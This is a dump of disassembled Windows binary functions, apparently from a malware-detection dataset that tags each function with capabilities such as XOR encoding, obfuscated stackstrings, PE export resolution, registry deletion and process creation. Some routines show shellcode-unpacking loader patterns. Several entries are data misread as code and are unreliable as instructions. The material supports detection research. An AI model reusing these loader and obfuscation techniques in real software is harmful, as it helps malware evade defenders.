joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46e790
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47a440
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x49d7b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x46e8eb
lea ecx, [ebp - 0x10]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftInternet_Explorer_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x46e8e9
mov dword [ebp - 0x18], 0x400
mov dword [ebp - 0x14], 1
lea ecx, [ebp - 0x1c]
call fcn.00406af0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x18]
push edx
push 0x400
lea ecx, [ebp - 0x1c]
call fcn.00401230
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push str.Version
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1c]
call fcn.00404aa0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x2e
lea ecx, [ebp - 0x1c]
call fcn.00406980
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405960
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20]
call fcn.00404200
movzx ecx, al
test ecx, ecx
jne 0x46e8ce
push 0x48af44
lea ecx, [ebp - 0x20]
call fcn.004066c0
lea ecx, [ebp - 0x20]
call fcn.004039c0
push eax
call fcn.0043c4d7
add esp, 4
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x10]
push edx
push 0xf003f
push 0
push 0x48af70
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x46e8ce
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push 0
push 0x48af4c
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.00401830
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401830
jmp 0x46e923
lea eax, [ebp - 0x28]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftInternet_ExplorerMAINFeatureControlFEATURE_BROWSER_EMULATION
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x46e923
push str.QiyiFragment.exe
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x478a70
Capabilities:
Encode data using xor

Disassembly:
pop ecx
xor dword [esi - 0x6e85cdf4], esi
imul ebx, dword [ecx + 0xc], 0xe51d62d6
sal ecx, cl
mov ebx, 0xc073117d
test eax, 0x6192afb6
mov edx, 0x552e347c
jns 0x478a72
pop eax
mov eax, dword [0xecdee9a7]
cmp dword [edi], 0xce7e1ac7
call 0xc8b64134
movsb byte es:[edi], byte [esi]
jmp 0x478a80
dec esi
stosb byte es:[edi], al
mov es, ebx
mov dword [0x4cb62ab7], eax
daa
jecxz 0x478a73
push ss
iretd
popfd
mov ebx, 0xa4c233ff
push 0x2e2fc4eb
dec edx
xor dh, byte [edi + 0x63]
pop ebx
stosd dword es:[edi], eax
pop ecx
movsd dword es:[edi], dword [esi]
cmp eax, 0x974285f0
dec edx
aad 0xe
invalid
imul esp, ebx, 0xd692a5eb
jmp 0x478a19
movsd dword es:[edi], dword [esi]
xchg edx, eax
salc
push ecx
ja 0x4789f9
push ecx
cmc
inc esp
loope 0x478a3c
add cl, bl
aas
fnstcw word [edi]
cmp ah, al
lodsd eax, dword [esi]
aad 0xc3
lcall 0xd2ba, 0xee617320
in al, 0x9e
nop
xor esi, dword [ecx - 0x50]
add ebp, dword [ebp - 0x6b]
or cl, byte [ebx]
mov ebx, 0xb16fb288
in eax, 0xcd
aaa
sar dword [ecx + 0x4b17e43e], cl
sbb eax, dword [edi]
push esp
adc dh, byte [0xae712e1d]
adc al, 0x59
and esi, dword [ecx - 0x77]
je 0x478a7a
xchg esp, eax
adc edi, dword [ebp - 0x5f]
or esp, dword ds:[ebx - 0x6f]
push ss
out 0xda, eax
or eax, 0x98fce2e9
js 0x478b21
pop esi
jmp 0x478a50
mov dl, 0x7f
salc
xor eax, 0x1777653b
ja 0x478b3b
xor dl, byte ss:[esi - 9]
cld
aas
mov al, byte [0x9a7a3ac5]
mov byte [0x4325bc3b], al
mov edx, 0x8c4fc342
dec esp
outsb dx, byte [esi]
stc
jbe 0x478b1b
inc edi
and al, 0xc4
lodsb al, byte [esi]
fst dword [esi - 0x46]
xor byte [edx], al
dec byte [ebp - 0x2b9bc780]
and eax, eax
inc ecx
wait
mov bl, 0x31
rcl ebx, 1
pop esp
jnp 0x478b42
pop es
sbb byte [esi - 0x77], 0x97
int1
push ecx
or al, 0x7e
out 0xa, eax
arpl bx, bx
mov dl, 0xf6
outsd dx, dword [esi]
aaa
dec ecx
push esp
inc ecx
cmpsb byte [esi], byte es:[edi]
ret 0x7474

Function at 0x401415
Capabilities:
Encode data using xor

Disassembly:
aas
push edi
imul esp, edi, 0x56
mov ds, esi
test al, 0xd5
mov dl, 0x35
scasb al, byte es:[edi]
in eax, 0xb8
xor al, 0x84
shr byte [ebx + 0xe3092ea], cl
lock sub byte [ecx + 0x4e9eca65], 0x1e
test eax, 0x19d7ae1b
and al, 0x44
bound esi, qword [eax + 0x33]
test al, 0x78
invalid
Function at 0x10004914
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add dword [eax], eax
add byte [ebp - 0x3337b], cl
call dword [eax - 1]
push eax
push dword [ebp + 8]
push 0xc6fffffc
test dword [edx + edi*8 - 0x7cfe0001], edi
mov ebp, 0xfffffc68
add byte [edi + edx - 0x7d], dh
mov ebp, 0xfffffc68
add byte [edi], cl
test ah, dl
add dword [eax], eax
add byte [ebx + 0xf010c7d], al
test dl, cl
add dword [eax], eax
add byte [ebx + 0xf080c7d], al
test dword [eax - 0x7fffffff], ecx
movsd dword es:[edi], dword [esi]
dec eax
stc
invalid

Function at 0x1000491d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x10004954
cmp dword [ebp - 0x398], 0
je 0x10004b1e
cmp dword [ebp + 0xc], 1
je 0x10004b1e
cmp dword [ebp + 0xc], 8
jne 0x10004ae6
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
invalid
invalid
Function at 0x10004af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movsd dword es:[edi], dword [esi]
mov esp, 0xfffffa
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.10003c60
stosb byte es:[edi], al
add dh, byte [edx - 0x7d]
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
add byte [edx + 0x40], ch
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10003c3e
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.10003c70
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10003c25
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.10003c60
and al, 9
cmc
xlatb
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.10003c60
mov word [ecx], ss
aas
and byte fs:[ebp - 0x20], 0
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
Function at 0x10004b69
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movsd dword es:[edi], dword [esi]
mov esp, 0xfffffa
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.10003c60
stosb byte es:[edi], al
add dh, byte [edx - 0x7d]
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
add byte [edx + 0x40], ch
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10003c3e
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.10003c70
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10003c25
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.10003c60
and al, 9
cmc
xlatb
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.10003c60
mov word [ecx], ss
aas
and byte fs:[ebp - 0x20], 0
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
Function at 0x10005cc8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp dword [ebp - 0x3a4], 0
je 0x10005cf6
lea eax, [ebp - 0x714]
push eax
call fcn.10003c70
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.10003c25
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x10005d01
jmp 0x10005d06
jmp 0x10005602
cmp dword [ebp - 0x37c], 0
jne 0x10005db0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x7e8], eax
and dword [ebp - 0x7e0], 0
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x7e4], eax
push dword [ebp - 0x7e4]
lea eax, [ebp - 0x7ec]
push eax
push dword [ebp - 0x748]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10003e3c
add esp, 0x14
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x10005d9c
lea eax, [ebp - 0x714]
push eax
call fcn.10003c70
pop ecx
push eax
push dword [ebp - 0x7e0]
call fcn.10003d05
pop ecx
pop ecx
mov dword [ebp - 0x37c], eax
push dword [ebp - 0x7e4]
push 1
invalid
invalid
Function at 0x4226cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4226db
pop dword [ebp - 0x50]
mov eax, 0x4226db
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x4117a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x53b7c070
sub ecx, 0x53b76b59
xor esi, esi
add esi, eax
mov edx, 0xcea8efe0
add edx, 0x319a6420
add edx, dword [ebp - 0x50]
mov edi, 0x4ae7bce2
xor dword [ebp - 0x30], 0x93791b46
mov ebx, dword [edx]
add dword [ebp - 0x34], ecx
add ebx, edi
xor dword [ebp - 0x14], 0x1da2ddcf
mov dword [esi], ebx
mov dword [ebp - 0x18], 0xa28e5d0f
add esi, 0x2ab9ec05
add esi, 0xd54613ff
add edx, 4
loop 0x42272c
add eax, 0xfcba76d2
add eax, 0x346d05d
mov ebx, eax
add eax, 0xd6231bfa
add eax, 0x29dce40b
mov ecx, 0x3f6445d9
add ecx, 0xc0dbba27
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x5b4411
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x5b4421
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jle 0x5b452f
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cwde
call fcn.005b453f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x5a4d
jne 0x5b452f
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call fcn.005b453f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x4550
jne 0x5b452f
pop eax
push eax
mov eax, dword [eax + 0x7c]
call fcn.005b453f
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x5b452f
pop eax
mov eax, dword [eax + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push eax
mov eax, dword [eax + 0x20]
add eax, dword [ebp + 8]
mov eax, dword [eax]
add eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
pop eax
mov eax, dword [eax + 0x18]
dec eax
mov dword [ebp - 4], eax
push dword [ebp - 4]
lea eax, [ebp - 4]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x5b452c
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.005b4552
test eax, eax
je 0x5b451b
push ecx
mov eax, dword [ebp - 0x10]
lea eax, [eax + 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea eax, [eax + ecx*4]
mov eax, dword [eax]
add eax, dword [ebp + 8]
pop ecx
leave
ret 8
push dword [ebp - 8]
call fcn.005b4586
add dword [ebp - 0xc], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x5b44d6
add esp, 0xc
mov eax, 0
jmp 0x5b4539
mov esp, ebp
pop ebp
ret 8
Function at 0x5b8c3c
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.005b8dec
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x5b8d3a
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x5b8cdd
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x5b8d20
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x5b8cf4
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x5b8d0f
test al, 0x40
je 0x5b8d06
mov ecx, dword [edi + 0x20]
jmp 0x5b8d0d
test al, 0x80
je 0x5b8d20
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x5b8d20
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x5b8cac
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x100225dd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x100225ec
pop dword [ebp - 0x28]
mov eax, 0x100225ec
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x271b4789
add dword [ebp - 0x38], 0x2736fdc2
mov dword [ebp - 0x34], 0x3fa3adc0
sub dword [ebp - 0x34], 0xd70617b
mov dword [ebp - 0x30], 0xa59e565c
add dword [ebp - 0x30], 0xa6adedd2
mov dword [ebp - 0x2c], 0xd5d6f701
sub dword [ebp - 0x2c], 0xd5d6f701
lea eax, [ebp - 0x38]
push eax
mov eax, 0x2d45de30
sub eax, 0x1d438de0
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x7c37e3e6
sub dword [ebp - 0x38], 0x7c57a90
mov dword [ebp - 0x34], 0xb3d8a0ca
add dword [ebp - 0x34], 0x8d93c0ab
mov dword [ebp - 0x30], 0xc8706179
add dword [ebp - 0x30], 0x9aff0af3
mov dword [ebp - 0x2c], 0x8e3512db
add dword [ebp - 0x2c], 0x71caed25
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3e00a
push 0
call eax
mov ecx, 0xe24a47d0
add ecx, 0x1db60165
xor edi, edi
add edi, eax
mov edx, 0x1d54f634
add edx, 0xf2ae63cc
add edx, dword [ebp - 0x28]
mov esi, 0x1253ebb4
sub dword [ebp - 0x10], 0x68454932
mov ebx, dword [edx]
xor dword [ebp - 0x24], 0x3f462b16
xor ebx, esi
xor dword [ebp - 8], 0x172b1c0a
mov dword [edi], ebx
add edi, 4
add edx, 0x7b631377
add edx, 0x849cec8d
loop 0x10022700
add eax, 0x117a7
xor ebx, ebx
add ebx, eax
add eax, 0x19c00c30
sub eax, 0x19c00c2b
mov ecx, 0x196fe855
sub ecx, 0x96fe855
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x40ac80
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4691fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045dd77
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40ad02
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045bbbd
mov eax, dword [eax]
push 0x47f1c0
push eax
call fcn.0044e9b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045e002
test bl, bl
je 0x40ad02
push 0x47f1c0
lea ecx, [esp + 0xc]
call fcn.0045e392
push 0x482d48
lea ecx, [esp + 0xc]
call fcn.0045e392
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40ad3e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045e002
jmp 0x40ae09
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40adc2
lea edx, [esp + 0x7c]
push 0x482d44
push edx
call fcn.0044e9b4
add esp, 8
test eax, eax
je 0x40adc2
lea eax, [esp + 0x7c]
push 0x482d40
push eax
call fcn.0044e9b4
add esp, 8
test eax, eax
je 0x40adc2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ad52
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045e002
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b600
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b662
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b670
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46927b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4892d8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b7a8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b6d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e002
xor eax, eax
jmp 0x40b81f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045e13f
push esi
lea ecx, [esp + 0xc]
call fcn.0045e3ce
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b7fd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b600
test eax, eax
jne 0x40b7fd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b600
test eax, eax
jne 0x40b7fd
lea eax, [esp + 0x14]
push 0x482d5c
push eax
call fcn.0044f9f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b7dc
lea ecx, [esp + 0x14]
push 0x482d58
push ecx
call fcn.0044f970
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b7dc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b7df
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045e0ef
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b6ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e002
xor eax, eax
jmp 0x40b81f
mov byte [esi], 0
push 0x482d54
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045e002
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4